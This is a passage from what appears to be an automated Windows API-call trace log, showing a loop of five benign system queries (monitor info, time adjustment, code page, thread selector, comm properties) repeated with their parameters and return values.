hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.104] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.104] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.104] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.104] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.105] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.105] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.105] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.105] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.105] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.105] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.105] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.105] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.105] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.105] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.105] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.105] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.105] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.105] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.105] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.105] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.105] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.105] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.105] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.105] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.105] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.105] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.105] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.105] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.105] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.105] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.105] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.105] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.105] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.105] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.105] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.105] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.105] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.105] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.105] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.106] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.106] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.106] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.106] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.106] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.106] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.106] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.106] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.106] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.106] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.106] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.106] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.106] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.106] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.106] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.106] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.106] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.106] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.106] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.106] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.106] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.106] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.106] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.106] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.106] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.106] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.106] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.106] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.106] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.106] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.106] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.106] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.106] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.107] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.107] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.107] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.107] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.107] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.107] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.107] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.107] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.107] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.107] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.107] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.107] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.107] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.107] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.107] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.107] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.107] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.107] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.107] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.107] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.107] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.107] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.107] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.107] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.107] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.107] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.107] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.107] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.107] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.107] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.107] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.107] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.107] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.107] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.108] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.108] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.108] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.108] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.108] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.108] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.108] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.108] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.108] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.108] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.108] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.108] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.108] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.108] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.108] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.108] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.108] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.108] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.108] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.108] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.108] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.108] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.108] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.108] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.108] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.108] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.108] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.108] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.108] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.108] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.108] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.108] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.108] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.108] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.108] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.109] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.109] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.109] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.109] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.109] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.109] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.109] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.109] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.109] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.109] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.109] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.109] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.109] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.109] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.109] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.109] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.109] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.109] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.109] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.109] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.109] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.109] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.109] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.109] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.109] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.109] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.109] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.109] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.109] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.109] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.109] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.109] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.109] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.110] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.110] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0093.110] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0093.110] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0093.110] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0093.110] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0093.110] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: 